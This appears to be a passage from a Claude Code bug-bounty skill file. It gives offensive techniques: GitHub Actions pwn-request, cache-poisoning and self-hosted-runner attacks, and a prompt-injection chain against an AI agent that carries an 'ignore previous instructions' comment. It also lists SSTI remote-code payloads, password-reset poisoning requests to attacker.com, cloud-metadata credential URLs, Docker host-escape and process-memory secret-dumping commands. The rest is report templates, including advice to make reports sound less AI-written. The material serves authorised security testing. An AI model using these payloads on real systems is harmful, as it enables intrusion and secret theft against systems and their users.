Kill signals: ${{ contains(...) }} or ${{ startsWith(...) }} returning booleans are NOT injectable โ false positive. ${{ github.event.pull_request.labels.*.name }} inside contains() evaluates to true/false, not the label text.
2. Untrusted Checkout (Pwn Request)
Gate question: Does the workflow checkout attacker-controlled code AND then execute something from that checkout?
Verification depth:
- Explicit vs implicit code execution โ The Flank $7.5K bug:
gh pr checkout โ gradle/gradle-build-action runs Gradle โ Gradle auto-evaluates settings.gradle.kts as Kotlin script. The attacker never wrote a run: command. Any build tool that reads config from the repo is an execution vector: Makefile, package.json (postinstall scripts), setup.py, build.gradle.kts, .cargo/config.toml, Gemfile.
- Issue_comment is as dangerous as pull_request_target โ Rspack NPM token theft:
issue_comment trigger + refs/pull/${{ github.event.issue.number }}/head checkout. issue_comment runs in base repo context with full secrets. Draft PRs are included. No contributor status check. Always check issue_comment workflows for PR checkout patterns.
- Self-hosted runner escalation โ If
runs-on: contains self-hosted, check: (a) Is the runner ephemeral? (--ephemeral in config.sh). (b) Is the runner in Docker group? (docker run -v /:/host --privileged). (c) PyTorch pattern: contributor trick (typo fix PR โ merge โ contributor status โ auto-trigger on self-hosted runner without approval) โ RoR (Runner-on-Runner: RUNNER_TRACKING_ID=0 + install attacker's runner agent) โ wait for privileged workflow โ steal PATs from .git/config or process memory.
- TOCTOU โ Label-gated
pull_request_target workflows: attacker gets label added (social engineering), workflow checks label exists, attacker pushes malicious commit between check and checkout. The ref: at checkout time resolves to the new commit. Mutable refs (github.event.pull_request.head.sha at trigger time vs checkout time) are the root cause.
- Post-exploitation โ After initial access, enumerate all secrets:
env | base64, cat /proc/self/environ, gcore $(pgrep Runner.Worker) + strings core.* | grep ghp_. PyTorch attackers got 3 bot PATs โ combined them to bypass branch protection on main.
Kill signals: if: "!github.event.pull_request.head.repo.fork" blocks external attackers. permissions: {} at workflow level with only contents: read at job level limits damage. Ephemeral runners with --ephemeral flag prevent persistence.
3. Artifact Poisoning
Gate question: Is there a TWO-STAGE workflow pattern where Stage 1 (pull_request, no secrets) uploads artifacts and Stage 2 (workflow_run, with secrets) downloads and uses them?
Verification depth:
- Cross-workflow artifact flow โ Same-workflow upload/download (build job โ test job via
needs:) is NOT poisonable because the attacker's PR runs their own build. The dangerous pattern is: pull_request workflow uploads โ separate workflow_run workflow downloads. workflow_run triggers on the completion of another workflow and runs in the DEFAULT BRANCH context with full secrets.
- Download path matters โ
actions/download-artifact with path: . or workspace-relative paths (grafana-server/bin) can overwrite source code, build scripts, or binaries. Safe pattern: extract to ${{ runner.temp }}/artifacts.
- Source validation โ Does the
workflow_run consumer check github.event.workflow_run.head_repository.full_name != github.repository? If not, fork PR artifacts are consumed blindly. Rust release pipeline was vulnerable to exactly this.
- ArtiPACKED (persist-credentials) โ
actions/checkout defaults to persist-credentials: true. This writes GITHUB_TOKEN to .git/config. If the artifact upload path includes .git/ (e.g., path: .), the token is publicly downloadable from the Actions artifact. Check: does any upload-artifact step use path: . or a broad path that includes .git/?
Kill signals: Upload and download in the same workflow run (connected by needs:). workflow_run consumer that explicitly checks fork origin. persist-credentials: false on checkout.
4. Cache Poisoning
Gate question: Can a fork PR write a cache entry that the default branch later restores in a privileged context?
CRITICAL: GitHub's cache scoping does NOT fully prevent this. A PR branch can read caches from the default branch. A fork PR workflow can WRITE cache entries. If the cache key is deterministic (hashFiles('package-lock.json')) and the attacker doesn't modify that file, the fork PR writes to the SAME cache key.
Verification depth:
- Key predictability โ
key: ${{ runner.os }}-node-${{ hashFiles('package-lock.json') }} is fully predictable. Adding github.sha or github.run_id to the key makes it unpredictable. Check every cache key for the presence of an unpredictable component.
- Cache hierarchy exploitation โ
workflow_run and workflow_dispatch workflows run in the default branch context. If they write to caches with predictable keys, an attacker who can trigger the upstream workflow (via fork PR) can pre-poison the cache. The run-dashboard-search-e2e.yml pattern: workflow_run trigger โ actions/cache with hashFiles() key โ all PR workflows read this cache.
- Payload injection โ Cacheract: inject malware into package manager caches (
node_modules/.cache, ~/.cache/pip, ~/.gradle/caches). The malware self-perpetuates because each restore โ build โ save cycle preserves the payload. Cache TTL is 7 days โ the payload survives across multiple workflow runs.
- Privileged consumption โ The cache is restored in a
push or schedule workflow on the default branch. These workflows have full secrets access. The poisoned dependency executes during npm install / pip install / gradle build and exfiltrates secrets.
- Clinejection chain โ Prompt injection โ AI agent runs
npm install from attacker commit โ Cacheract in npm cache โ nightly publish workflow restores cache โ VSCE_PAT, OVSX_PAT, NPM_RELEASE_TOKEN stolen โ malicious Cline v2.3.0 published for 8 hours.
Kill signals: Cache key includes github.sha or github.run_id. Separate cache keys per workflow. actions/cache/restore (read-only) instead of actions/cache (read-write) in PR workflows.
5. Self-Hosted Runners
Gate question: Is a self-hosted runner used in a PUBLIC repo where external contributors can trigger workflows?
Verification depth:
- Approval settings โ Default: "Require approval for first-time contributors". After ONE merged PR (even a typo fix), the attacker becomes a "contributor" and subsequent PRs auto-trigger without approval. GitHub runner-images $20K bug used exactly this trick.
- Runner persistence โ Non-ephemeral runners retain state between jobs.
RUNNER_TRACKING_ID=0 prevents the runner from cleaning up attacker processes after job completion. Detached Docker containers (docker run -d --restart always) also survive cleanup.
- Runner-on-Runner (RoR) โ Install an official GitHub Actions runner binary on the target's self-hosted runner, register it to attacker's private org. Uses only legitimate GitHub binaries and HTTPS to github.com โ indistinguishable from normal runner traffic. No C2 server needed. GitHub itself is the C2.
- Lateral movement โ RoR persistence โ wait for privileged
push/schedule workflows โ steal tokens from .git/config, $GITHUB_ENV, /proc/PID/environ, or Runner.Worker process memory. PyTorch: 3 bot PATs โ 93 repos โ AWS S3 write access โ pip install pytorch supply chain.
- Docker group escalation โ
docker run -v /:/host --privileged alpine chroot /host โ full host root. Add SSH keys, modify sudoers, install persistent backdoors.
Kill signals: --ephemeral flag on runner registration. "Require approval for ALL outside collaborators" (not just first-time). Runner not in Docker group. Private repo (no external PRs).
6. Supply Chain (commit-sha / impostor-commit / ref-confusion)
Gate question: Does the workflow use mutable tags (@v1, @v2) for actions, and could those tags be replaced?
Verification depth:
- Tag mutability โ
git tag -f v1 <malicious-commit> replaces the tag. 98.4% of repos don't use SHA pinning (Legit Security 2024). tj-actions attack: all version tags (v1, v35, v45) replaced with memdump.py payload โ 23K repos affected โ 218 confirmed secret leaks.
- Impostor commits โ Fork network shares object store with parent. Attacker pushes a commit to fork, then references that commit SHA in the parent repo's
uses:. GitHub resolves it because the SHA exists in the shared object store.
- RepoJacking โ Org renames create a redirect. Old name becomes available. Attacker registers old org name, creates same repo, hosts malicious action. Shopify/unity-buy-sdk used
MirrorNG/unity-runner โ MirrorNG renamed to MirageNet โ MirrorNG was claimable. Check: GET /users/<action-owner> returns 404? Takeover possible.
- Payload stealth โ tj-actions memdump.py: extract secrets from Runner.Worker process memory via
/proc/PID/maps + /proc/PID/mem, encrypt with AES+RSA, output to workflow log. Logs are publicly visible but encrypted โ only attacker has the key.
Kill signals: Full 40-char SHA pinning (uses: actions/checkout@b4ffde65...). Dependabot configured for github-actions ecosystem. Organization-level action allowlist.
7. AI Agent Security
Gate question: Is an AI agent (Gemini CLI, Claude Code, Cline, Codex) invoked in a workflow where external users can influence the prompt?
Verification depth:
- Trigger + prompt source โ
issues: opened โ AI triage bot reads github.event.issue.body. The body IS the prompt. HTML comments (<!-- ignore previous instructions -->) are invisible in GitHub UI but included in the API response and thus in the AI prompt.
- Tool permissions โ If the AI agent has Bash/Write/Edit tools and runs with secrets in env, prompt injection = RCE + secret exfil.
allowed_non_write_users: "*" means ANY user can trigger.
- Multi-phase chain โ Clinejection: prompt injection โ AI runs
npm install from attacker commit โ Cacheract plants in npm cache โ nightly publish restores cache โ tokens stolen โ malicious version published. A prompt injection finding alone may seem low-severity, but it's a gateway to cache poisoning and supply chain attacks.
Kill signals: author_association == 'MEMBER' || 'OWNER' check before AI processing. --read-only --no-exec flags on AI CLI. permissions: {} at workflow level.
8. Permissions / Secrets Hygiene
Not standalone bugs โ these are force multipliers. A code-injection-medium with permissions: write-all is Critical. The same injection with permissions: { contents: read } is limited.
Chaining checklist:
secrets: inherit on reusable workflow call โ all org secrets accessible to called workflowpermissions: block missing โ repo default (often write-all)GITHUB_TOKEN with contents: write โ CVE-2022-46258 pattern: use Contents API to create new workflow file โ new workflow accesses ALL repo/org secrets (the original workflow never referenced them)
Key references:
SSTI -- Server-Side Template Injection
Detection Payloads
{{7*7}} -> 49 = Jinja2 / Twig / generic
${7*7} -> 49 = Freemarker / Pebble / Velocity
<%= 7*7 %> -> 49 = ERB (Ruby)
#{7*7} -> 49 = Mako / some Ruby
*{7*7} -> 49 = Spring (Thymeleaf)
{{7*'7'}} -> 7777777 = Jinja2 (Twig gives 49)
Where to Test
- Name/bio/description fields (profile pages)
- Email templates (invoice name, username in confirmation email)
- Custom error messages
- PDF generators (invoice, report export)
- URL path parameters
- Search queries reflected in results
Jinja2 -> RCE (Python / Flask)
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
Twig -> RCE (PHP / Symfony)
{{["id"]|filter("system")}}
Freemarker -> RCE (Java)
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
ERB -> RCE (Ruby on Rails)
<%= `id` %>
Subdomain Takeover
Detection
# Check for dangling CNAMEs
cat /tmp/subs.txt | dnsx -silent -cname -resp | grep -i "CNAME" | tee /tmp/cnames.txt
# Look for CNAMEs to: github.io, heroku.com, azurewebsites.net, netlify.app, s3.amazonaws.com
# Automated takeover detection
nuclei -l /tmp/subs.txt -t ~/nuclei-templates/takeovers/ -o /tmp/takeovers.txt
Quick-Kill Fingerprints
"There isn't a GitHub Pages site here" -> GitHub Pages
"NoSuchBucket" -> AWS S3
"No such app" -> Heroku
"404 Web Site not found" -> Azure App Service
"Fastly error: unknown domain" -> Fastly CDN
"project not found" -> GitLab Pages
"It looks like you may have typed..." -> Shopify
Impact Escalation
- Basic takeover: serve page under target.com subdomain -> Low/Medium
-
- Cookies: if target.com sets cookie with domain=.target.com -> credential theft -> High
-
- OAuth redirect: if sub.target.com is a registered redirect_uri -> ATO chain -> Critical
-
- CSP bypass: if sub.target.com is in target's CSP -> XSS anywhere -> Critical
ATO -- Account Takeover (Complete Taxonomy)
Path 1: Password Reset Poisoning (Host Header Injection)
POST /forgot-password
Host: attacker.com
Content-Type: application/x-www-form-urlencoded
email=victim@company.com
# If reset link = https://attacker.com/reset?token=XXXX -> ATO
# Also try: X-Forwarded-Host, X-Host, X-Forwarded-Server
Path 2: Reset Token in Referrer Leak
After clicking reset link, if page loads external resources -> token in Referer header to external domain.
Path 3: Predictable / Weak Reset Tokens
# If token < 16 hex chars or numeric only -> brute-forceable
ffuf -u "https://target.com/reset?token=FUZZ" -w <(seq -w 000000 999999) -fc 404 -t 50
Path 4: Token Not Expiring / Reuse
Request token -> wait 2 hours -> use it -> still works? Request token #1 -> request token #2 -> use token #1 -> still works?
Path 5: Email Change Without Re-Authentication
PUT /api/user/email
{"new_email": "attacker@evil.com"}
# If no current_password required -> attacker changes email -> locks out victim
Path 6: OAuth Account Linking Abuse
Can you link an OAuth account from a different email to an existing account?
Path 7: Session Fixation
GET /login -> note Set-Cookie session=XYZ -> Log in -> does session ID change? If not = fixation.
Cloud / Infra Misconfigs
S3 / GCS / Azure Blob
# S3 public listing
aws s3 ls s3://target-bucket-name --no-sign-request
# Try common names
for name in target target-backup target-assets target-prod target-staging target-uploads target-data; do
curl -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/"
done
EC2 Metadata (via SSRF)
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Returns role name, then:
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
# Returns AccessKeyId, SecretAccessKey, Token -> Critical
# GCP (needs header Metadata-Flavor: Google):
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Azure (needs header Metadata: true):
http://169.254.169.254/metadata/instance?api-version=2021-02-01
Firebase Open Rules
curl -s "https://TARGET-APP.firebaseio.com/.json"
# If data returned -> open read
curl -s -X PUT "https://TARGET-APP.firebaseio.com/test.json" -d '"pwned"'
# If success -> open write -> Critical
Exposed Admin Panels
/jenkins /grafana /kibana /elasticsearch
/swagger-ui.html /api-docs /phpMyAdmin /adminer.php
/.env /config.json /server-status /actuator/env
Kubernetes / Docker
# K8s API (unauthenticated):
curl -sk https://TARGET:6443/api/v1/namespaces/default/pods
# Docker API:
curl -s http://TARGET:2375/containers/json
PHASE 4: VALIDATE
The 7-Question Gate (Run BEFORE Writing ANY Report)
All 7 must be YES. Any NO -> STOP.
Q1: Can I exploit this RIGHT NOW with a real PoC?
Write the exact HTTP request. If you cannot produce a working request -> KILL IT.
Q2: Does it affect a REAL user who took NO unusual actions?
No "the user would need to..." with 5 preconditions. Victim did nothing special.
Q3: Is the impact concrete (money, PII, ATO, RCE)?
"Technically possible" is not impact. "I read victim's SSN" is impact.
Q4: Is this in scope per the program policy?
Check the exact domain/endpoint against the program's scope page.
Q5: Did I check Hacktivity/changelog for duplicates?
Search the program's disclosed reports and recent changelog entries.
Q6: Is this NOT on the "always rejected" list?
Check the list below. If it's there and you can't chain it -> KILL IT.
Q7: Would a triager reading this say "yes, that's a real bug"?
Read your report as if you're a tired triager at 5pm on a Friday. Does it pass?
4 Pre-Submission Gates
Gate 0: Reality Check (30 seconds)
[ ] The bug is real -- confirmed with actual HTTP requests, not just code reading
[ ] The bug is in scope -- checked program scope explicitly
[ ] I can reproduce it from scratch (not just once)
[ ] I have evidence (screenshot, response, video)
Gate 1: Impact Validation (2 minutes)
[ ] I can answer: "What can an attacker DO that they couldn't before?"
[ ] The answer is more than "see non-sensitive data"
[ ] There's a real victim: another user's data, company's data, financial loss
[ ] I'm not relying on the user doing something unlikely
Gate 2: Deduplication Check (5 minutes)
[ ] Searched HackerOne Hacktivity for this program + similar bug title
[ ] Searched GitHub issues for target repo
[ ] Read the most recent 5 disclosed reports for this program
[ ] This is not a "known issue" in their changelog or public docs
Gate 3: Report Quality (10 minutes)
[ ] Title: One sentence, contains vuln class + location + impact
[ ] Steps to reproduce: Copy-pasteable HTTP request
[ ] Evidence: Screenshot/video showing actual impact (not just 200 response)
[ ] Severity: Matches CVSS 3.1 score AND program's severity definitions
[ ] Remediation: 1-2 sentences of concrete fix
CVSS 3.1 Quick Guide
| Factor | Low (0-3.9) | Medium (4-6.9) | High (7-8.9) | Critical (9-10) |
|---|
| Attack Vector | Physical | Local | Adjacent | Network |
| Privileges | High | Low | None | None |
| User Interaction | Required | Required | None | None |
| Impact | Partial | Partial | High | High (all 3) |
Typical Scores by Bug Class
| Bug | Typical CVSS | Severity |
|---|
| IDOR (read PII) | 6.5 | Medium |
| IDOR (write/delete) | 7.5 | High |
| Auth bypass -> admin | 9.8 | Critical |
| Stored XSS | 5.4-8.8 | Med-High |
| SQLi (data exfil) | 8.6 | High |
| SSRF (cloud metadata) | 9.1 | Critical |
| Race condition (double spend) | 7.5 | High |
| GraphQL auth bypass | 8.7 | High |
| JWT none algorithm | 9.1 | Critical |
ALWAYS REJECTED -- Never Submit These
Missing CSP/HSTS/security headers, missing SPF/DKIM/DMARC, GraphQL introspection alone, banner/version disclosure without working CVE exploit, clickjacking on non-sensitive pages, tabnabbing, CSV injection, CORS wildcard without credential exfil PoC, logout CSRF, self-XSS, open redirect alone, OAuth client_secret in mobile app, SSRF DNS-ping only, host header injection alone, no rate limit on non-critical forms, session not invalidated on logout, concurrent sessions, internal IP disclosure, mixed content, SSL weak ciphers, missing HttpOnly/Secure cookie flags alone, broken external links, pre-account takeover (usually), autocomplete on password fields.
N/A hurts your validity ratio. Informative is neutral. Only submit what passes the 7-Question Gate.
Conditionally Valid With Chain
These low findings become valid bugs when chained:
| Low Finding | + Chain | = Valid Bug |
|---|
| Open redirect | + OAuth code theft | ATO |
| Clickjacking | + sensitive action + PoC | Account action |
| CORS wildcard | + credentialed exfil | Data theft |
| CSRF | + sensitive state change | Account takeover |
| No rate limit | + OTP brute force | ATO |
| SSRF (DNS only) | + internal access proof | Internal network access |
| Host header injection | + password reset poisoning | ATO |
| Self-XSS | + login CSRF | Stored XSS on victim |
PHASE 5: REPORT
HackerOne Report Template
Title: [Vuln Class] in [endpoint/feature] leads to [Impact]
## Summary
[2-3 sentences: what it is, where it is, what attacker can do]
## Steps To Reproduce
1. Log in as attacker (account A)
2. Send request: [paste exact request]
3. Observe: [exact response showing the bug]
4. Confirm: [what the attacker gained]
## Supporting Material
[Screenshot / video of exploitation]
[Burp Suite request/response]
## Impact
An attacker can [specific action] resulting in [specific harm].
[Quantify if possible: "This affects all X users" or "Attacker can access Y data"]
## Severity Assessment
CVSS 3.1 Score: X.X ([Severity label])
Attack Vector: Network | Complexity: Low | Privileges: None | User Interaction: None
Bugcrowd Report Template
Title: [Vuln] at [endpoint] -- [Impact in one line]
Bug Type: [IDOR/SSRF/XSS/etc]
Target: [URL or component]
Severity: [P1/P2/P3/P4]
Description:
[Root cause + exact location]
Reproduction:
1. [step]
2. [step]
3. [step]
Impact:
[Concrete business impact]
Fix Suggestion:
[Specific remediation]
Human Tone Rules (Avoid AI-Sounding Writing)
- Start sentences with the impact, not the vulnerability name
- Write like you're explaining to a smart developer, not a textbook
- Use "I" and active voice: "I found that..." not "A vulnerability was discovered..."
- One concrete example beats three abstract sentences
- No em dashes, no "comprehensive/leverage/seamless/ensure"
Report Title Formula
[Bug Class] in [Exact Endpoint/Feature] allows [attacker role] to [impact] [victim scope]
Good titles:
IDOR in /api/v2/invoices/{id} allows authenticated user to read any customer's invoice data
Missing auth on POST /api/admin/users allows unauthenticated attacker to create admin accounts
Stored XSS in profile bio field executes in admin panel -- allows privilege escalation
SSRF via image import URL parameter reaches AWS EC2 metadata service
Race condition in coupon redemption allows same code to be used unlimited times
Bad titles:
IDOR vulnerability found
Broken access control
XSS in user input
Security issue in API
Impact Statement Formula (First Paragraph)
An [attacker with X access level] can [exact action] by [method], resulting in [business harm].
This requires [prerequisites] and leaves [detection/reversibility].
The 60-Second Pre-Submit Checklist
[ ] Title follows formula: [Class] in [endpoint] allows [actor] to [impact]
[ ] First sentence states exact impact in plain English
[ ] Steps to Reproduce has exact HTTP request (copy-paste ready)
[ ] Response showing the bug is included (screenshot or response body)
[ ] Two test accounts used (not just one account testing itself)
[ ] CVSS score calculated and included
[ ] Recommended fix is one sentence (not a lecture)
[ ] No typos in the endpoint path or parameter names
[ ] Report is < 600 words (triagers skim long reports)
[ ] Severity claimed matches impact described (don't overclaim)
Severity Escalation Language
When payout is being downgraded, use these counters:
| Program Says | You Counter With |
|---|
| "Requires authentication" | "Attacker needs only a free account (no special role)" |
| "Limited impact" | "Affects [N] users / [PII type] / [$ amount]" |
| "Already known" | "Show me the report number -- I searched and found none" |
| "By design" | "Show me the documentation that states this is intended" |
| "Low CVSS score" | "CVSS doesn't account for business impact -- attacker can steal [X]" |
RESOURCES
Bug Bounty Platforms
Learning
Wordlists
Payload Databases
INSTALLATION (Claude Code Skill)
To use this as a Claude Code skill, copy this file to your skills directory:
# Option A: Clone the repo and link the skill
git clone https://github.com/shuvonsec/claude-bug-bounty.git ~/.claude/skills/bug-bounty
ln -s ~/.claude/skills/bug-bounty/SKILL.md ~/.claude/skills/bug-bounty/SKILL.md
# Option B: Direct copy
mkdir -p ~/.claude/skills/bug-bounty
curl -s https://raw.githubusercontent.com/shuvonsec/claude-bug-bounty/main/SKILL.md \
-o ~/.claude/skills/bug-bounty/SKILL.md
Then in Claude Code, this skill loads automatically when you ask about bug bounty, recon, or vulnerability hunting.
Related Skills & Chains
bug-bounty โ When the user wants general bug-bounty guidance rather than tool location. Workflow primitive: bug-bounty is the orchestrator and routes to topic-matched hunt-* skills; this skill (bb-local-toolkit) answers "where is the tool / wordlist / clone on disk for that hunt?"web2-recon โ When recon needs to be run via specific tool invocations. Workflow primitive: this skill names the local install path (e.g., ~/tools/SecretFinder/.venv/bin/activate); web2-recon is the pipeline that strings those tool paths together.offensive-osint โ When the operational arsenal (probes, regexes, wordlists) needs a tool to execute it. Workflow primitive: offensive-osint provides the regex / probe; this skill provides the local trufflehog / jhaddix / SecLists clone that runs it.security-arsenal โ When the payload library needs a tool to fire payloads at scale. Workflow primitive: security-arsenal is the payload syntax; this skill names the ffuf / dalfox / ghauri install that delivers them.bb-methodology โ When Phase 1 (Recon) or Phase 3 (Discovery) needs tooling routed. Workflow primitive: bb-methodology's "Tool Routing by Phase" table is general; this skill resolves the abstract tool names to concrete local paths.
